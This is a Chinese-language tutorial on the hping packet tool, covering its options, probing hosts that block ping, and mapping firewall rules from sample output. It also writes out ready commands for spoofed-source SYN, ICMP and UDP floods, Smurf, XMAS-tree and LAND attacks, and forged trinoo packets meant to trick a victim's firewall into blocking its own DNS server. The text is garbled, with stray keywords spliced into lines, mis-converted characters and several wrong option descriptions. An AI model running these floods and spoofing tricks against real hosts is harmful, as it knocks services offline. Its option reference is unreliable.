Hping是一個命令行下使用的TCP/IP數據包組裝/分析工具,其命令模式很像Unix下的ping命令,可是它不是隻能發送ICMP迴應請求,它還能夠支持TCP、UDP、ICMP和RAW-IP協議,它有一個路由跟蹤模式,可以在兩個相互包含的通道之間傳送文件。Hping常被用於檢測網絡和主機,其功能很是強大,可在多種操做系統下運行,如Linux,FreeBSD,NetBSD,OpenBSD,Solaris,MacOs X,Windows。linux
HPING和ping的區別:典型ping程序使用的是ICMP回顯請求來測試,而HPING可使用任何IP報文,包括ICMP、TCP、UDP、RAWSOCKET。緩存
Hping的主要功能有:安全
防火牆測試
實用的端口掃描
網絡檢測,能夠用不一樣的協議、服務類型(TOS)、IP分片
手工探測MTU(最大傳輸單元)路徑
先進的路由跟蹤,支持全部的協議
遠程操做系統探測
遠程的運行時間探測
TCP/IP堆棧審計
服務器
Centos網絡
yum install hping
Debian/Ubuntu併發
apt-get install hping
-h —help 顯示幫助信息
-v —version 顯示Hping的版本信息
-c —count 指定數據包的次數
-i —interval 指定發包間隔爲多少毫秒,如-i m10:表示發包間隔爲10毫秒(附:秒、毫秒、微秒進率。1s=1000ms(毫秒)=1000000(微秒),1s=10^3ms(毫秒)=10^6μs(微秒))
—fast 與-i m100等同,即每秒鐘發送10個數據包(hping的間隔u表示微妙,--fast表示快速模式,一秒10個包。)
-n —numeric 指定以數字形式輸出,表示不進行名稱解析。
-q —quiet 退出Hping
-I —interface 指定IP,如本機有兩塊網卡,可經過此參數指定發送數據包的IP地址。若是不指定則默認使用網關IP
-V —verbose 詳細模式,通常顯示不少包信息。
-D —debug 定義hping使用debug模式。
-z —bind 將ctrl+z 綁定到ttl,默認使用DST端口
-Z —unbind 解除ctrl+z的綁定app指定所用的模式:
(缺省使用TCP進行PING處理)
-0 —rawip 裸IP方式,使用RAWSOCKET方式。
-1 —icmp ICMP 模式
-2 —udp UDP 模式
-8 —scan 掃描模式. (例: hping —scan 1-30,70-90 -S www.target.host)
-9 —listen 監聽模式,會接受指定的信息。偵聽指定的信息內容。sshIP選項:tcp
-a —spoof 源地址欺騙
—rand-dest 隨機目的地址模式
—rand-source 隨機源目的地址模式
-t —ttl ttl值,默認爲64
-N —id 指定id,默認是隨機的
-W —winid 使用win*的id 字節順序,針對不一樣的操做系統。
-r —rel 相對的id區域
-f —frag 將數據包分片後傳輸(能夠經過薄弱的acl(訪問控制列表))
-x —morefrag 設置更多的分片標記
-y —dontfrag 設置不加分片標記
-g —fragoff 設置分片偏移
-m —mtu 設置虛擬MTU, 當數據包>MTU時要使用—frag 進行分片
-o —tos 指定服務類型,默認是0x00,,可使用—tos help查看幫助
-G —rroute 包含RECORD_ROUTE選項而且顯示路由緩存
—lsrr 釋放源路記錄
—***r 嚴格的源路由記錄
-H —ipproto 設置協議範圍,僅在RAW IP模式下使用ideICMP選項
-C —icmptype 指定icmp類型(默認類型爲回顯請求)
-K —icmpcode 指定icmp編碼(默認爲0)
—force-icmp 發送全部ICMP數據包類型(默認只發送能夠支持的類型) —icmp-gw 針對ICMP數據包重定向設定網關地址(默認是0.0.0.0)
—icmp-ts 至關於—icmp —icmptype 13(ICMP時間戳)
—icmp-addr 至關於—icmp —icmptype 17(ICMP地址掩碼)
—icmp-help 顯示ICMP的其它幫助選項UDP/TCP選項
-s —baseport 基本源端口(默認是隨機的)
-p —destport 目的端口(默認爲0),可同時指定多個端口
-k —keep 仍然保持源端口
-w —win 指定數據包大小,默認爲64
-O —tcpoff 設置假的TCP數據偏移
-Q —seqnum 僅顯示TCP序列號
-b —badcksum 嘗試發送不正確IP校驗和的數據包(許多系統在發送數據包時使用固定的IP校驗和,所以你會獲得不正確的UDP/TCP校驗和.)
-M —setseq 設置TCP序列號
-L —setack 使用TCP的ACK(訪問控制列表)
-F —fin 使用FIN標記set FIN flag
-S —syn 使用SNY標記
-R —rst 使用RST標記
-P —push 使用PUSH標記
-A —ack 使用 ACK 標記
-U —urg 使用URG標記
-X —xmas 使用 X 未用標記 (0x40)
-Y —ymas 使用 Y 未用標記 (0x80)
—tcpexitcode 最後使用 tcp->th_flags 做爲退出代碼
—tcp-timestamp 啓動TCP時間戳選項來猜想運行時間常規選項
-d —data 數據大小,默認爲0
-E —file 從指定文件中讀取數據
-e —sign 增長簽名
-j —dump 以十六進行形式轉存數據包
-J —print 轉存可輸出的字符
-B —safe 啓用安全協議
-u —end 當經過- -file指定的文件結束時中止並顯示,防止文件再從頭開始
-T —traceroute 路由跟蹤模式
—tr-stop 在路由跟蹤模式下當收到第一個非ICMP數據包時退出
—tr-keep-ttl 保持源TTL,對監測一個hop有用
—tr-no-rtt 使用路由跟蹤模式時不計算或顯示RTT信息ARS數據包描述(新增長的內容,暫時還不穩定)
—apd-send 發送用描述APD的數據包
每秒送10個(-i u10000)ICMP(-1)封包到www.abc.net.tw 僞造來源IP(-a)爲100.100.100.100
hping www.abc.net.tw -1 -i u100000 -a 100.100.100.100
注:-1爲數字非英文L
每秒送1個(-i u1000000)TCP(default)封包到www.abc.net.tw的port 44444,僞造來源IP(-a)100.100.100.100使用的port爲22222
hping www.abc.net.tw –i u1000000 –a 100.100.100.100 –s 22222 –p 44444
SYN Flooding(每秒10個封包)
hping 目標主機IP –i u100000 –S –a 僞造來源IP
僞造IP的ICMP封包(每秒10個封包)
hping 目標主機IP –i u100000 –1 –a 僞造來源IP
注:-1爲數字非英文
不正常TCP Flag組合封包(每秒10個封包)
(a)SYN+FIN
hping 目標主機IP –i u100000 –S –F –a 僞造來源IP
(b)X’mas
hping 目標主機IP –i u100000 –F –S –R –P –A –U –a 僞造來源IP
僞造IP的UDP封包
hping 目標主機IP –i u100000 –2 –a 僞造來源IP
僞造IP內含CodeRed封包
hping 目標主機IP –i u100000 –d [封包datasize] –E [filename] –a [僞造來源IP]
SMURF***
hping2 -1 -a 192.168.1.5 192.168.1.255
XMAS TREE***
hping2 -SFRP 192.168.1.5
LAND***
hping2 -k -S -s 25 -p 25 -a 192.168.1.5 192.168.1.5
用tcpdump記錄流量
#捕獲25000個包,將原始報文轉儲到dumpfile中cron任務: 5 3 * * * /usr/sbin/tcpdump -c 25000 -w dumpfile -n#查看記錄tcpdump -r dumpfile -X -vv
PING失效後的主機檢測:
$ping 192.168.2.1PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data. --- 192.168.2.1 ping statistics ---19 packets transmitted, 0 received, 100% packet loss, time 18009ms ------------------------------------------------$hping2 -c 4 -n -i 2 192.168.2.1HPING 192.168.2.1 (eth0 192.168.2.1): NO FLAGS are set, 40 headers + 0 data bytes len=46 ip=192.168.2.1 ttl=64 id=43489 sport=0 flags=RA seq=0 win=0 rtt=1.0 ms len=46 ip=192.168.2.1 ttl=64 id=43490 sport=0 flags=RA seq=1 win=0 rtt=0.6 ms len=46 ip=192.168.2.1 ttl=64 id=43491 sport=0 flags=RA seq=2 win=0 rtt=0.7 ms len=46 ip=192.168.2.1 ttl=64 id=43498 sport=0 flags=RA seq=3 win=0 rtt=0.6 ms --- 192.168.2.1 hping statistic ---4 packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max = 0.6/0.8/1.0 ms
-c 發送4個報文-n不進行名稱解析 -i包發送時間間隔。
好處:即便主機阻塞了ICMP報文,也能夠顯示主機是否在運行的信息,在關掉ICMP的探測有效!
顯示信息解釋:len,返回ip報文大小;ttl; id,IP的ID域;sport,源端口,flags,返回的IP報設置的TCP標誌 (R:RESET,A:ACK;S:SYN;F:FIN;P:PUSH;U:URGENT);seq:序列號;win:tcp窗口大小;rtt:往返 時,EIGRP彷佛有這個設置。
更復雜的實際的例子
step 1:目標主機安裝了blackice,它的ip address是ip.add.of.victim
step 2:發起***的一臺linux 機器,上面安裝了hping
執行以下命令#hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a ip.add.of.dnsserverHPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers + 4 data bytes --- ip.add.of.victim hping statistic ---5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms#hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.google.comHPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers + 4 data bytes --- ip.add.of.victim hping statistic ---5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms#hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.sina.comHPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers + 4 data bytes --- ip.add.of.victim hping statistic ---5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
上面的三個命令幹了同一件事情,以僞造的ip發送假的trinoo***數據包.
結果:在目標主機上全部僞造的ip地址網絡鏈接被block了,也就是對目標主機ip.add.of.victim而言,它的dns服務器,google和sina都沒法訪問了。
我很懷疑目前的我的防火牆只要存在auto-block功能,就存在這一問題。
防火牆規則測試
hping有相似NMAP的方法來檢測並收集關於潛在的防火牆的規則和能力的信息。
若是一個主機對ping沒有任何相應,而對hping有響應,假定目標的主機爲192.168.2.234.
一旦主機對hping做出了響應,那麼下一步咱們先用nmap先進行一個端口掃描,固然這個hping2也能夠做.
nmap -sT -P0 -p 21-25 192.168.2.234Starting Nmap 4.53 ( http://insecure.org ) at 2008-08-14 15:56 CST Interesting ports on 192.168.2.234: PORT STATE SERVICE21/tcp filtered ftp22/tcp open ssh23/tcp filtered telnet24/tcp filtered priv-mail25/tcp filtered smtp Nmap done: 1 IP address (1 host up) scanned in 1.379 seconds
以上信息顯示除了ssh端口外,其餘端口被阻塞.而後能夠試試用hping向各個被阻塞的端口發送空的報文.用-p的開關,能夠對指定的目的端口進行hping.
hping2 -p 21 192.168.2.234HPING 192.168.2.234 (eth0 192.168.2.234): NO FLAGS are set, 40 headers + 0 data bytes24: len=46 ip=192.168.2.234 ttl=128 id=2461 sport=24 flags=RA seq=7 win=0 rtt=0.7 ms len=46 ip=192.168.2.234 ttl=128 id=2462 sport=24 flags=RA seq=8 win=0 rtt=0.7 ms25: len=46 ip=192.168.2.234 ttl=128 id=2463 sport=25 flags=RA seq=9 win=0 rtt=0.7 ms len=46 ip=192.168.2.234 ttl=128 id=2464 sport=24 flags=RA seq=10 win=0 rtt=0.7 ms
前三個端口沒有響應,端口24 25 得到了RST/ACK響應.這說明,雖然這些端口被禁止PING,但沒有工具在該端口上監聽.然而爲何NMAP沒有獲得響應,由於NMAP雖然使用 TCP鏈接,但它在TCP報頭中設置了TCP SYN標記位,而HPING 使用了空標記的報文,這就告訴咱們說,在主機192.168.2.234上只阻塞進入的TCP鏈接.接下來使用hping建立一個SYN報文而後將其發送 到5個端口再測試.
hping2 -S -p 21 192.168.2.234HPING 192.168.2.234 (eth0 192.168.2.234): S set, 40 headers + 0 data bytes22: len=46 ip=192.168.2.234 ttl=128 id=10722 sport=22 flags=SA seq=1 win=0 rtt=1.2 ms len=46 ip=192.168.2.234 ttl=128 id=10747 sport=22 flags=SA seq=2 win=0 rtt=0.7 ms
此次只有22端口響應,說明SSH端口是開放的,但有工具在上面監聽,該端口沒有進行過濾.
而後咱們再建立一個ACK報文併發送:
hping2 -A -p 21 192.168.2.234HPING 192.168.2.234 (eth0 192.168.2.234): A set, 40 headers + 0 data bytes22: len=46 ip=192.168.2.234 ttl=128 id=12707 sport=22 flags=R seq=2 win=0 rtt=0.7 ms len=46 ip=192.168.2.234 ttl=128 id=12708 sport=22 flags=R seq=3 win=0 rtt=0.7 ms23: len=46 ip=192.168.2.234 ttl=128 id=12709 sport=23 flags=R seq=4 win=0 rtt=0.7 ms len=46 ip=192.168.2.234 ttl=128 id=12710 sport=22 flags=R seq=5 win=0 rtt=0.7 ms24: len=46 ip=192.168.2.234 ttl=128 id=12711 sport=24 flags=R seq=6 win=0 rtt=0.7 ms len=46 ip=192.168.2.234 ttl=128 id=12712 sport=22 flags=R seq=7 win=0 rtt=0.7 ms25: len=46 ip=192.168.2.234 ttl=128 id=12712 sport=25 flags=R seq=8 win=0 rtt=0.8 ms len=46 ip=192.168.2.234 ttl=128 id=12713 sport=22 flags=R seq=9 win=0 rtt=0.7 ms
結果除了21端口外全部端口都響應了RST,說明了:1.端口22是開放的,但有工具在上面監聽.2.24 25 上面沒有工具監聽,對NULL報文回顯.3.端口23針對ACK報文以RST進行了響應,但沒有響應NULL報文.說明該端口被過濾,可是telnet服務運行在192.168.2.234上.4.阻塞了進入的SYN報文但容許其餘TCP報文經過,說明它採用的不是基於狀態的報文防火牆.